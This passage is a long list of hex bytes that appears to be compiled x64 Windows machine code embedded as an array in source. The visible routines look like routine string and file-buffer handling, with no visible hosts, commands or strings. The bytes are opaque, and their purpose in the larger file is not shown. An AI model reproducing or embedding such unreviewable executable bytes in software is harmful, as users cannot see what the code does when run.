0xEC, 0x60, 0x48, 0x8B, 0x05, 0x13, 0x7A, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x83, 0x79, 0x68, 0x00, 0x48, 0x8B, 0xD9, 0x0F, 0x84, 0xB0, 0x00, 0x00, 0x00, 0x80, 0x79, 0x71, 0x00, 0x0F, 0x84, 0xA6, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x01, 0xBA, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x89, 0x7C, 0x24, 0x78, 0xFF, 0x50, 0x18, 0x83, 0xF8, 0xFF, 0x0F, 0x84, 0x89, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x68, 0x48, 0x8D, 0x44, 0x24, 0x30, 0x48, 0x8D, 0x53, 0x74, 0x48, 0x89, 0x44, 0x24, 0x20, 0x4C, 0x8D, 0x4C, 0x24, 0x58, 0x4C, 0x8D, 0x44, 0x24, 0x38, 0xFF, 0x15, 0x60, 0x3A, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x28, 0x83, 0xE8, 0x01, 0x74, 0x27, 0x83, 0xF8, 0x02, 0x75, 0x59, 0xC6, 0x43, 0x71, 0x00, 0xB0, 0x01, 0x48, 0x8B, 0x7C, 0x24, 0x78, 0x48, 0x8B, 0x4C, 0x24, 0x58, 0x48, 0x33, 0xCC, 0xE8, 0x52, 0x12, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x60, 0x5B, 0xC3, 0xC6, 0x43, 0x71, 0x00, 0x48, 0x8B, 0x7C, 0x24, 0x30, 0x48, 0x8D, 0x44, 0x24, 0x38, 0x48, 0x2B, 0xF8, 0x74, 0x1F, 0x4C, 0x8B, 0x8B, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0x4C, 0x8B, 0xC7, 0xBA, 0x01, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x67, 0x3C, 0x00, 0x00, 0x48, 0x3B, 0xF8, 0x75, 0x09, 0x80, 0x7B, 0x71, 0x00, 0x0F, 0x94, 0xC0, 0xEB, 0xAD, 0x32, 0xC0, 0xEB, 0xA9, 0xB0, 0x01, 0x48, 0x8B, 0x4C, 0x24, 0x58, 0x48, 0x33, 0xCC, 0xE8, 0xFE, 0x11, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x60, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83, 0xB9, 0x80, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xF9, 0x74, 0x5E, 0x4C, 0x8B, 0x41, 0x18, 0x48, 0x8D, 0x41, 0x70, 0x48, 0x89, 0x5C, 0x24, 0x38, 0x49, 0x39, 0x00, 0x75, 0x20, 0x48, 0x8B, 0x91, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x89, 0x88, 0x00, 0x00, 0x00, 0x49, 0x89, 0x08, 0x2B, 0xD1, 0x48, 0x8B, 0x47, 0x38, 0x48, 0x89, 0x08, 0x48, 0x8B, 0x47, 0x50, 0x89, 0x10, 0x48, 0x8B, 0xCF, 0xE8, 0xBF, 0xFE, 0xFF, 0xFF, 0x48, 0x8B, 0x8F, 0x80, 0x00, 0x00, 0x00, 0x33, 0xDB, 0x84, 0xC0, 0x48, 0x0F, 0x45, 0xDF, 0xFF, 0x15, 0x02, 0x3C, 0x00, 0x00, 0x33, 0xF6, 0x85, 0xC0, 0x48, 0x0F, 0x44, 0xF3, 0x48, 0x8B, 0x5C, 0x24, 0x38, 0xEB, 0x02, 0x33, 0xF6, 0x48, 0x8B, 0xCF, 0xC6, 0x47, 0x7C, 0x00, 0xC6, 0x47, 0x71, 0x00, 0xFF, 0x15, 0x60, 0x39, 0x00, 0x00, 0x48, 0x8B, 0x0D, 0x79, 0x83, 0x00, 0x00, 0x48, 0x8B, 0xC6, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x89, 0x4F, 0x74, 0x48, 0xC7, 0x87, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x47, 0x68, 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x48, 0x8B, 0x11, 0x48, 0x8B, 0x02, 0x48, 0x63, 0x48, 0x04, 0x48, 0x8B, 0x4C, 0x11, 0x48, 0x48, 0x85, 0xC9, 0x74, 0x07, 0x48, 0x8B, 0x01, 0xFF, 0x50, 0x10, 0x90, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x56, 0x57, 0x48, 0x83, 0xEC, 0x50, 0x48, 0x8B, 0x05, 0x31, 0x78, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x44, 0x24, 0x40, 0x45, 0x8B, 0xC8, 0x48, 0x8B, 0xC2, 0x48, 0x8B, 0xD9, 0x48, 0x83, 0xB9, 0x80, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x85, 0xF8, 0x00, 0x00, 0x00, 0x41, 0xB8, 0x40, 0x00, 0x00, 0x00, 0x41, 0x8B, 0xD1, 0x48, 0x8B, 0xC8, 0xFF, 0x15, 0x60, 0x38, 0x00, 0x00, 0x48, 0x8B, 0xF8, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0xDA, 0x00, 0x00, 0x00, 0xC6, 0x43, 0x7C, 0x01, 0xC6, 0x43, 0x71, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x9B, 0x38, 0x00, 0x00, 0x33, 0xF6, 0x48, 0x89, 0x74, 0x24, 0x20, 0x48, 0x89, 0x74, 0x24, 0x28, 0x48, 0x89, 0x74, 0x24, 0x30, 0x4C, 0x8D, 0x4C, 0x24, 0x30, 0x4C, 0x8D, 0x44, 0x24, 0x28, 0x48, 0x8D, 0x54, 0x24, 0x20, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xD2, 0x3A, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x20, 0x48, 0x89, 0x43, 0x18, 0x48, 0x89, 0x43, 0x20, 0x48, 0x8B, 0x44, 0x24, 0x28, 0x48, 0x89, 0x43, 0x38, 0x48, 0x89, 0x43, 0x40, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x48, 0x89, 0x43, 0x50, 0x48, 0x89, 0x43, 0x58, 0x48, 0x89, 0xBB, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x05, 0x5D, 0x82, 0x00, 0x00, 0x48, 0x89, 0x43, 0x74, 0x48, 0x89, 0x73, 0x68, 0x48, 0x8D, 0x54, 0x24, 0x30, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xF7, 0x37, 0x00, 0x00, 0x90, 0x48, 0x8B, 0xC8, 0xE8, 0x46, 0x03, 0x00, 0x00, 0x48, 0x8B, 0xF8, 0x48, 0x8B, 0xC8, 0xFF, 0x15, 0xEA, 0x38, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x06, 0x48, 0x89, 0x73, 0x68, 0xEB, 0x0E, 0x48, 0x89, 0x7B, 0x68, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xFB, 0x37, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x4C, 0x24, 0x38, 0x48, 0x85, 0xC9, 0x74, 0x19, 0x48, 0x8B, 0x11, 0xFF, 0x52, 0x10, 0x48, 0x85, 0xC0, 0x74, 0x0E, 0x4C, 0x8B, 0x00, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x41, 0xFF, 0x10, 0x48, 0x8B, 0xC3, 0xEB, 0x02, 0x33, 0xC0, 0x48, 0x8B, 0x4C, 0x24, 0x40, 0x48, 0x33, 0xCC, 0xE8, 0xCB, 0x0F, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x50, 0x5F, 0x5E, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x55, 0x56, 0x57, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x69, 0x18, 0x49, 0x8B, 0xF0, 0x4C, 0x8B, 0xFA, 0x48, 0x8B, 0xD9, 0x4C, 0x3B, 0xC5, 0x77, 0x2A, 0x48, 0x8B, 0xF9, 0x48, 0x83, 0xFD, 0x0F, 0x76, 0x03, 0x48, 0x8B, 0x39, 0x48, 0x89, 0x71, 0x10, 0x48, 0x8B, 0xCF, 0xE8, 0xF4, 0x20, 0x00, 0x00, 0x48, 0x8B, 0xC3, 0xC6, 0x04, 0x3E, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5F, 0x5F, 0x5E, 0x5D, 0x5B, 0xC3, 0x48, 0xBF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F, 0x48, 0x3B, 0xF7, 0x0F, 0x87, 0xF2, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCE, 0x4C, 0x89, 0x74, 0x24, 0x68, 0x48, 0x83, 0xC9, 0x0F, 0x48, 0x3B, 0xCF, 0x77, 0x45, 0x48, 0x8B, 0xD5, 0x48, 0x8B, 0xC7, 0x48, 0xD1, 0xEA, 0x48, 0x2B, 0xC2, 0x48, 0x3B, 0xE8, 0x77, 0x34, 0x48, 0x8D, 0x04, 0x2A, 0x48, 0x8B, 0xF9, 0x48, 0x3B, 0xC8, 0x48, 0x0F, 0x42, 0xF8, 0x48, 0x8D, 0x4F, 0x01, 0x48, 0x85, 0xC9, 0x75, 0x05, 0x45, 0x33, 0xF6, 0xEB, 0x49, 0x48, 0x81, 0xF9, 0x00, 0x10, 0x00, 0x00, 0x72, 0x38, 0x48, 0x8D, 0x41, 0x27, 0x48, 0x3B, 0xC1, 0x0F, 0x86, 0xA4, 0x00, 0x00, 0x00, 0xEB, 0x0E, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x48, 0x83, 0xC0, 0x27, 0x48, 0x8B, 0xC8, 0xE8, 0xBA, 0x11, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x7A, 0x4C, 0x8D, 0x70, 0x27, 0x49, 0x83, 0xE6, 0xE0, 0x49, 0x89, 0x46, 0xF8, 0xEB, 0x08, 0xE8, 0xA2, 0x11, 0x00, 0x00, 0x4C, 0x8B, 0xF0, 0x4C, 0x8B, 0xC6, 0x48, 0x89, 0x73, 0x10, 0x49, 0x8B, 0xD7, 0x48, 0x89, 0x7B, 0x18, 0x49, 0x8B, 0xCE, 0xE8, 0x2C, 0x20, 0x00, 0x00, 0x41, 0xC6, 0x04, 0x36, 0x00, 0x48, 0x83, 0xFD, 0x0F, 0x76, 0x2D, 0x48, 0x8B, 0x0B, 0x48, 0x8D, 0x55, 0x01, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x18, 0x4C, 0x8B, 0x41, 0xF8, 0x48, 0x83, 0xC2, 0x27, 0x49, 0x2B, 0xC8, 0x48, 0x8D, 0x41, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x77, 0x1E, 0x49, 0x8B, 0xC8, 0xE8, 0x95, 0x11, 0x00, 0x00, 0x4C, 0x89, 0x33, 0x48, 0x8B, 0xC3, 0x4C, 0x8B, 0x74, 0x24, 0x68, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5F, 0x5F, 0x5E, 0x5D, 0x5B, 0xC3, 0xFF, 0x15, 0x85, 0x38, 0x00, 0x00, 0xCC, 0xE8, 0x1F, 0xB7, 0xFF, 0xFF, 0xCC, 0xE8, 0x79, 0xB6, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x48, 0x8D, 0x0D, 0xFD, 0x3A, 0x00, 0x00, 0xFF, 0x15, 0xDF, 0x35, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x56, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x40, 0x4D, 0x8B, 0x68, 0x10, 0x4C, 0x8B, 0xF2, 0x48, 0x8B, 0xF1, 0x48, 0x89, 0x4C, 0x24, 0x28, 0x48, 0xB9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F, 0x33, 0xD2, 0x48, 0x8B, 0xC1, 0x4D, 0x8B, 0xF8, 0x4D, 0x8B, 0x66, 0x10, 0x49, 0x2B, 0xC4, 0x49, 0x3B, 0xC5, 0x0F, 0x82, 0x09, 0x01, 0x00, 0x00, 0x49, 0x83, 0x7E, 0x18, 0x0F, 0x48, 0x89, 0x9C, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x6C, 0x24, 0x38, 0x48, 0x89, 0x7C, 0x24, 0x30, 0x76, 0x03, 0x4D, 0x8B, 0x36, 0x49, 0x83, 0x78, 0x18, 0x0F, 0x76, 0x03, 0x4D, 0x8B, 0x38, 0x0F, 0x57, 0xC0, 0x4B, 0x8D, 0x2C, 0x2C, 0x0F, 0x11, 0x06, 0xBF, 0x0F, 0x00, 0x00, 0x00, 0x48, 0x89, 0x56, 0x10, 0x48, 0x89, 0x56, 0x18, 0x48, 0x8B, 0xDE, 0x48, 0x3B, 0xEF, 0x76, 0x78, 0x48, 0x8B, 0xFD, 0x48, 0x83, 0xCF, 0x0F, 0x48, 0x3B, 0xF9, 0x76, 0x2C, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x48, 0x8B, 0xF9, 0x48, 0x83, 0xC0, 0x27, 0x48, 0x8B, 0xC8, 0xE8, 0x57, 0x10, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x3C, 0x48, 0x8D, 0x58, 0x27, 0x48, 0x83, 0xE3, 0xE0, 0x48, 0x89, 0x43, 0xF8, 0xEB, 0x3D, 0xB8, 0x16, 0x00, 0x00, 0x00, 0x48, 0x3B, 0xF8, 0x48, 0x0F, 0x42, 0xF8, 0x48, 0x8D, 0x4F, 0x01, 0x48, 0x85, 0xC9, 0x75, 0x05, 0x48, 0x8B, 0xDA, 0xEB, 0x23, 0x48, 0x81, 0xF9, 0x00, 0x10, 0x00, 0x00, 0x72, 0x12, 0x48, 0x8D, 0x41, 0x27, 0x48, 0x3B, 0xC1, 0x76, 0x66, 0xEB, 0xB7, 0xFF, 0x15, 0x60, 0x37, 0x00, 0x00, 0xCC, 0xE8, 0x0A, 0x10, 0x00, 0x00, 0x48, 0x8B, 0xD8, 0x48, 0x89, 0x1E, 0x4D, 0x8B, 0xC4, 0x48, 0x89, 0x6E, 0x10, 0x49, 0x8B, 0xD6, 0x48, 0x89, 0x7E, 0x18, 0x48, 0x8B, 0xCB, 0xE8, 0x91, 0x1E, 0x00, 0x00, 0x4A, 0x8D, 0x0C, 0x23, 0x4D, 0x8B, 0xC5, 0x49, 0x8B, 0xD7, 0xE8, 0x82, 0x1E, 0x00, 0x00, 0x48, 0x8B, 0x7C, 0x24, 0x30, 0x48, 0x8B, 0xC6, 0xC6, 0x04, 0x2B, 0x00, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x9C, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5E, 0xC3, 0xE8, 0xA3, 0xB5, 0xFF, 0xFF, 0xCC, 0xE8, 0xFD, 0xB4, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x10, 0x48, 0x89, 0x6C, 0x24, 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x57, 0x48, 0x83, 0xEC, 0x40, 0x48, 0x8B, 0x05, 0x05, 0x74, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8B, 0xE9, 0x33, 0xD2, 0x48, 0x8D, 0x4C, 0x24, 0x28, 0xFF, 0x15, 0x8D, 0x35, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x05, 0xB5, 0x7E, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8B, 0x0D, 0x31, 0x34, 0x00, 0x00, 0xFF, 0x15, 0x6B, 0x35, 0x00, 0x00, 0x48, 0x8B, 0xF0, 0x48, 0x8B, 0x55, 0x08, 0x48, 0x8D, 0x3C, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x48, 0x3B, 0x42, 0x18, 0x73, 0x0F, 0x48, 0x8B, 0x4A, 0x10, 0x48, 0x8B, 0x1C, 0x0F, 0x48, 0x85, 0xDB, 0x75, 0x68, 0xEB, 0x02, 0x33, 0xDB, 0x80, 0x7A, 0x24, 0x00, 0x74, 0x14, 0xFF, 0x15, 0x51, 0x35, 0x00, 0x00, 0x48, 0x3B, 0x70, 0x18, 0x73, 0x0D, 0x48, 0x8B, 0x40, 0x10, 0x48, 0x8B, 0x1C, 0x07, 0x48, 0x85, 0xDB, 0x75, 0x45, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x85, 0xDB, 0x75, 0x3B, 0x48, 0x8B, 0xD5, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0xF6, 0x33, 0x00, 0x00, 0x48, 0x83, 0xF8, 0xFF, 0x74, 0x57, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x89, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0xCB, 0xE8, 0x9E, 0x0B, 0x00, 0x00, 0x48, 0x8B, 0x03, 0x48, 0x8B, 0xCB, 0xFF, 0x50, 0x08, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x89, 0x1D, 0x19, 0x7E, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x28, 0xFF, 0x15, 0xE6, 0x34, 0x00, 0x00, 0x48, 0x8B, 0xC3, 0x48, 0x8B, 0x4C, 0x24, 0x38, 0x48, 0x33, 0xCC, 0xE8, 0xEE, 0x0B, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x58, 0x48, 0x8B, 0x6C, 0x24, 0x60, 0x48, 0x8B, 0x74, 0x24, 0x68, 0x48, 0x83, 0xC4, 0x40, 0x5F, 0xC3, 0xE8, 0x44, 0xB5, 0xFF, 0xFF, 0x90, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x7C, 0x24, 0x60, 0x49, 0x8B, 0xF1, 0x4C, 0x8B, 0xF9, 0x48, 0x3B, 0xFA, 0x77, 0x77, 0x48, 0x8B, 0xC2, 0x48, 0x2B, 0xC7, 0x4C, 0x3B, 0xC0, 0x77, 0x6C, 0x48, 0x85, 0xFF, 0x75, 0x05, 0x49, 0x8B, 0xC0, 0xEB, 0x69, 0x45, 0x0F, 0xBE, 0x31, 0x49, 0x03, 0xC8, 0x49, 0x8B, 0xEF, 0x48, 0x2B, 0xEF, 0x48, 0x03, 0xEA, 0x41, 0x8B, 0xD6, 0x4C, 0x8D, 0x45, 0x01, 0x4C, 0x2B, 0xC1, 0xE8, 0xCB, 0x1C, 0x00, 0x00, 0x48, 0x8B, 0xD8, 0x48, 0x85, 0xC0, 0x74, 0x3B, 0x0F, 0x1F, 0x40, 0x00, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xC7, 0x48, 0x8B, 0xD6, 0x48, 0x8B, 0xCB, 0xE8, 0xAF, 0x1C, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x3D, 0x48, 0xFF, 0xC3, 0x4C, 0x8D, 0x45, 0x01, 0x4C, 0x2B, 0xC3, 0x48, 0x8B, 0xCB, 0x41, 0x8B, 0xD6, 0xE8, 0x90, 0x1C, 0x00, 0x00, 0x48, 0x8B, 0xD8, 0x48, 0x85, 0xC0, 0x75, 0xD1, 0x48, 0xC7, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x8B, 0x6C, 0x24, 0x48, 0x48, 0x8B, 0x74, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5F, 0x41, 0x5E, 0x5F, 0xC3, 0x49, 0x2B, 0xDF, 0x48, 0x8B, 0xC3, 0xEB, 0xDF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x55, 0x56, 0x41, 0x56, 0x48, 0x83, 0xEC, 0x28, 0x48, 0xBD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F, 0x49, 0x8B, 0xD8, 0x4C, 0x8B, 0xF2, 0x48, 0x8B, 0xF1, 0x4C, 0x3B, 0xC5, 0x0F, 0x87, 0xCA, 0x00, 0x00, 0x00, 0x48, 0x83, 0xFB, 0x0F, 0x77, 0x1F, 0x48, 0x89, 0x59, 0x10, 0x48, 0xC7, 0x41, 0x18, 0x0F, 0x00, 0x00, 0x00, 0xE8, 0x26, 0x1C, 0x00, 0x00, 0xC6, 0x04, 0x33, 0x00, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5E, 0x5E, 0x5D, 0x5B, 0xC3, 0x48, 0x8B, 0xC3, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x48, 0x83, 0xC8, 0x0F, 0x48, 0x3B, 0xC5, 0x76, 0x29, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x48, 0x83, 0xC0, 0x27, 0x48, 0x8B, 0xC8, 0xE8, 0x4E, 0x0D, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x3E, 0x48, 0x8D, 0x78, 0x27, 0x48, 0x83, 0xE7, 0xE0, 0x48, 0x89, 0x47, 0xF8, 0xEB, 0x3F, 0xB9, 0x16, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xE8, 0x48, 0x3B, 0xC1, 0x48, 0x0F, 0x42, 0xE9, 0x48, 0x8D, 0x4D, 0x01, 0x48, 0x85, 0xC9, 0x75, 0x04, 0x33, 0xFF, 0xEB, 0x23, 0x48, 0x81, 0xF9, 0x00, 0x10, 0x00, 0x00, 0x72, 0x12, 0x48, 0x8D, 0x41, 0x27, 0x48, 0x3B, 0xC1, 0x76, 0x43, 0xEB, 0xB5, 0xFF, 0x15, 0x55, 0x34, 0x00, 0x00, 0xCC, 0xE8, 0xFF, 0x0C, 0x00, 0x00, 0x48, 0x8B, 0xF8, 0x4C, 0x8B, 0xC3, 0x48, 0x89, 0x3E, 0x49, 0x8B, 0xD6, 0x48, 0x89, 0x5E, 0x10, 0x48, 0x8B, 0xCF, 0x48, 0x89, 0x6E, 0x18, 0xE8, 0x86, 0x1B, 0x00, 0x00, 0xC6, 0x04, 0x3B, 0x00, 0x48, 0x8B, 0x7C, 0x24, 0x20, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5E, 0x5E, 0x5D, 0x5B, 0xC3, 0xE8, 0xBB, 0xB2, 0xFF, 0xFF, 0xCC, 0xE8, 0x15, 0xB2, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x56, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x28, 0x4C, 0x8B, 0x71, 0x10, 0x48, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F, 0x48, 0x8B, 0xC3, 0x45, 0x0F, 0xB6, 0xF9, 0x49, 0x2B, 0xC6, 0x48, 0x8B, 0xF1, 0x48, 0x83, 0xF8, 0x01, 0x0F, 0x82, 0x29, 0x01, 0x00, 0x00, 0x48, 0x89, 0x6C, 0x24, 0x58, 0x48, 0x8B, 0x69, 0x18, 0x48, 0x89, 0x7C, 0x24, 0x60, 0x4C, 0x89, 0x64, 0x24, 0x20, 0x4D, 0x8D, 0x66, 0x01, 0x49, 0x8B, 0xD4, 0x48, 0x83, 0xCA, 0x0F, 0x48, 0x3B, 0xD3, 0x77, 0x44, 0x48, 0x8B, 0xCD, 0x48, 0x8B, 0xC3, 0x48, 0xD1, 0xE9, 0x48, 0x2B, 0xC1, 0x48, 0x3B, 0xE8, 0x77, 0x33, 0x48, 0x8D, 0x04, 0x29, 0x48, 0x8B, 0xDA, 0x48, 0x3B, 0xD0, 0x48, 0x0F, 0x42, 0xD8, 0x48, 0x8D, 0x4B, 0x01, 0x48, 0x85, 0xC9, 0x75, 0x04, 0x33, 0xFF, 0xEB, 0x49, 0x48, 0x81, 0xF9, 0x00, 0x10, 0x00, 0x00, 0x72, 0x38, 0x48, 0x8D, 0x41, 0x27, 0x48, 0x3B, 0xC1, 0x0F, 0x86, 0xCA, 0x00, 0x00, 0x00, 0xEB, 0x0E, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x48, 0x83, 0xC0, 0x27, 0x48, 0x8B, 0xC8, 0xE8, 0x13, 0x0C, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x6E, 0x48, 0x8D, 0x78, 0x27, 0x48, 0x83, 0xE7, 0xE0, 0x48, 0x89, 0x47, 0xF8, 0xEB, 0x08, 0xE8, 0xFB, 0x0B, 0x00, 0x00, 0x48, 0x8B, 0xF8, 0x4C, 0x89, 0x66, 0x10, 0x4D, 0x8B, 0xC6, 0x48, 0x89, 0x5E, 0x18, 0x48, 0x8B, 0xCF, 0x48, 0x83, 0xFD, 0x0F, 0x76, 0x4B, 0x48, 0x8B, 0x1E, 0x48, 0x8B, 0xD3, 0xE8, 0x7C, 0x1A, 0x00, 0x00, 0x48, 0x8D, 0x55, 0x01, 0x45, 0x88, 0x3C, 0x3E, 0x41, 0xC6, 0x44, 0x3E, 0x01, 0x00, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x18, 0x48, 0x8B, 0x4B, 0xF8, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x2B, 0xD9, 0x48, 0x8D, 0x43, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x77, 0x0D, 0x48, 0x8B, 0xD9, 0x48, 0x8B, 0xCB, 0xE8, 0xE6, 0x0B, 0x00, 0x00, 0xEB, 0x19, 0xFF, 0x15, 0xEA, 0x32, 0x00, 0x00, 0xCC, 0x48, 0x8B, 0xD6, 0xE8, 0x34, 0x1A, 0x00, 0x00, 0x45, 0x88, 0x3C, 0x3E, 0x41, 0xC6, 0x44, 0x3E, 0x01, 0x00, 0x48, 0x89, 0x3E, 0x48, 0x8B, 0xC6, 0x48, 0x8B, 0x7C, 0x24, 0x60, 0x48, 0x8B, 0x6C, 0x24, 0x58, 0x4C, 0x8B, 0x64, 0x24, 0x20, 0x48, 0x83, 0xC4, 0x28, 0x41, 0x5F, 0x41, 0x5E, 0x5E, 0x5B, 0xC3, 0xE8, 0x52, 0xB1, 0xFF, 0xFF, 0xCC, 0xE8, 0xAC, 0xB0, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x56, 0x41, 0x54, 0x41, 0x55, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x4C, 0x8B, 0x79, 0x10, 0x48, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F, 0x4C, 0x8B, 0xA4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC3, 0x49, 0x2B, 0xC7, 0x4D, 0x8B, 0xE9, 0x48, 0x8B, 0xF1, 0x48, 0x3B, 0xC2, 0x0F, 0x82, 0x41, 0x01, 0x00, 0x00, 0x48, 0x89, 0x6C, 0x24, 0x70, 0x48, 0x8B, 0x69, 0x18, 0x48, 0x89, 0x7C, 0x24, 0x28, 0x4C, 0x89, 0x74, 0x24, 0x20, 0x4E, 0x8D, 0x34, 0x3A, 0x49, 0x8B, 0xD6, 0x48, 0x83, 0xCA, 0x0F, 0x48, 0x3B, 0xD3, 0x77, 0x44, 0x48, 0x8B, 0xCD, 0x48, 0x8B, 0xC3, 0x48, 0xD1, 0xE9, 0x48, 0x2B, 0xC1, 0x48, 0x3B, 0xE8, 0x77, 0x33, 0x48, 0x8D, 0x04, 0x29, 0x48, 0x8B, 0xDA, 0x48, 0x3B, 0xD0, 0x48, 0x0F, 0x42, 0xD8, 0x48, 0x8D, 0x4B, 